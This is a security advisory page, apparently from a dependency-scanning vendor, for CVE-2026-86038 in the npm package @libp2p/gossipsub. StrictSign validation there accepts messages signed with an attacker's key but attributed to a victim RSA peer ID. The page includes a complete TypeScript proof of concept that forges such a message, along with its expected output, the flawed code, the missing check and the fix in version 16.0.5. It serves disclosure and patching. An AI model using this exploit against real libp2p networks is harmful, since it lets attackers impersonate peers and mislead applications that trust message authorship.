NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

CVE-2026-86038 — @libp2p/gossipsub

HIGHFix: libp2p/js-libp2p@cec2b1f

CVE-2026-86038 is a high-severity (CVSS 7.5) CWE-345 vulnerability in @libp2p/gossipsub. A fix is available for @libp2p/gossipsub — see the affected versions and patch details below.

libp2p: Gossipsub StrictSign accepts attacker-signed messages as a victim RSA peer ID

Also known asGHSA-c3gv-825q-fvmp
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 31, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-86038.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs9th percentile — riskier than 9% of all scored CVEsHighest risk
0.00%0.23%0.46%0.69%0.2%0.2%Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

34other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
@libp2p/gossipsubnpm
15Kdownloads / week

Description

Summary

@libp2p/gossipsub StrictSign validation does not bind a supplied message public key to the claimed from peer ID when from is an RSA-style peer ID that does not inline its public key. An attacker can set from to a victim RSA peer ID, sign the message with the attacker's own private key, include the attacker's public key in msg.key, and have the message accepted as a valid signed message from the victim.

Details

The vulnerable code is in packages/gossipsub/src/utils/buildRawMessage.ts inside validateToRawMessage.

When msg.key is present:

publicKey = publicKeyFromProtobuf(msg.key)
if (fromPeerId.publicKey !== undefined && !publicKey.equals(fromPeerId.publicKey)) {
  return { valid: false, error: ValidateError.InvalidPeerId }
}

For RSA peer IDs parsed from the wire from multihash, fromPeerId.publicKey is undefined because the RSA public key is not inlined in the peer ID. This means the key-to-from comparison is skipped. The code then verifies the signature with the attacker-supplied msg.key and returns a signed message whose from is the victim RSA peer ID.

The missing invariant is:

peerIdFromPublicKey(publicKey).equals(fromPeerId)

This check must be performed whenever a public key is supplied, including keyless peer ID representations such as RSA peer IDs.

StrictSign is the default gossipsub signature policy in packages/gossipsub/src/gossipsub.ts:

this.globalSignaturePolicy = opts.globalSignaturePolicy ?? StrictSign

Version tracing:

  • git blame points the vulnerable validateToRawMessage block to 9a9b11fd44 (fix!: remove pubsub (#3291)), which introduced packages/gossipsub/src/utils/buildRawMessage.ts.
  • That commit's packages/gossipsub/package.json still reports 14.1.1, but the first gossipsub-v* release tag in this checkout that contains the vulnerable block is gossipsub-v15.0.0.

PoC

// TypeScript ESM PoC.
import { strict as assert } from 'node:assert'
import { generateKeyPair, publicKeyToProtobuf } from '@libp2p/crypto/keys'
import { StrictSign } from '@libp2p/gossipsub'
import { peerIdFromPrivateKey } from '@libp2p/peer-id'
import { concat as uint8ArrayConcat } from 'uint8arrays/concat'
import { fromString as uint8ArrayFromString } from 'uint8arrays/from-string'
import { RPC } from '../../packages/gossipsub/dist/src/message/rpc.js'
import { SignPrefix, validateToRawMessage } from '../../packages/gossipsub/dist/src/utils/buildRawMessage.js'

const label = 'gossipsub StrictSign RSA author spoof'

function seqno (n: bigint): Uint8Array {
  const out = new Uint8Array(8)
  new DataView(out.buffer).setBigUint64(0, n, false)
  return out
}

async function main (): Promise<void> {
  const attackerKey = await generateKeyPair('Ed25519')
  const victimRsaKey = await generateKeyPair('RSA', 512)
  const victim = peerIdFromPrivateKey(victimRsaKey)

  const msg: RPC.Message = {
    from: victim.toMultihash().bytes,
    data: uint8ArrayFromString('forged as victim RSA peer'),
    seqno: seqno(1n),
    topic: 'poc-topic',
    signature: undefined,
    key: undefined
  }

  // Sign the protobuf message that claims victim in `from`, using attacker's key.
  const bytes = uint8ArrayConcat([SignPrefix, RPC.Message.encode(msg)])
  msg.signature = await attackerKey.sign(bytes)
  msg.key = publicKeyToProtobuf(attackerKey.publicKey)

  const result = await validateToRawMessage(StrictSign, msg)

  if (!result.valid) {
    throw new Error(`expected forged message to validate, got ${result.error}`)
  }

  assert.equal(result.message.type, 'signed')
  assert.equal(result.message.from.equals(victim), true)
  assert.equal(result.message.key.equals(attackerKey.publicKey), true)

  console.log(`${label} reproduced`)
  console.log(`claimed victim RSA author: ${victim}`)
  console.log('signature verified with attacker-supplied key')
}

main().catch(err => {
  console.error(err)
  process.exitCode = 1
})

Expected output:

gossipsub StrictSign RSA author spoof reproduced
claimed victim RSA author: QmcFsT6SHgxy1LXcUbz4aNSn9Wcj6JsJSMsSjB3ud1wT4f
signature verified with attacker-supplied key

Impact

Attackers can forge gossipsub messages attributed to arbitrary victim RSA peer IDs under the default StrictSign policy. Applications that trust message.from in topic validators, authorization logic, accounting, moderation, reputation, or audit logs can be misled into treating attacker-controlled data as if it was authored by the victim.

The forged message can also be considered valid by gossipsub's validation path and forwarded to peers, spreading the incorrect origin attribution through the pubsub mesh.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@libp2p/gossipsub≥ 15.0.0&&< 16.0.516.0.5npm install @libp2p/gossipsub@16.0.5

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @libp2p/gossipsub, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update @libp2p/gossipsub to 16.0.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-86038 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

### Summary `@libp2p/gossipsub` `StrictSign` validation does not bind a supplied message public key to the claimed `from` peer ID when `from` is an RSA-style peer ID that does not inline its public key. An attacker can set `from` to a victim RSA peer ID, sign the message with the attacker's own private key, include the attacker's public key in `msg.key`, and have the message accepted as a valid signed message from the victim. ### Details The vulnerable code is in `packages/gossipsub/src/utils/buildRawMessage.ts` inside `validateToRawMessage`. When `msg.key` is present: ```ts publicKey = pub
O3 Security · Impact-Aware SCA

Is CVE-2026-86038 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2026-86038: @libp2p/gossipsub — Fixed in 16.0.5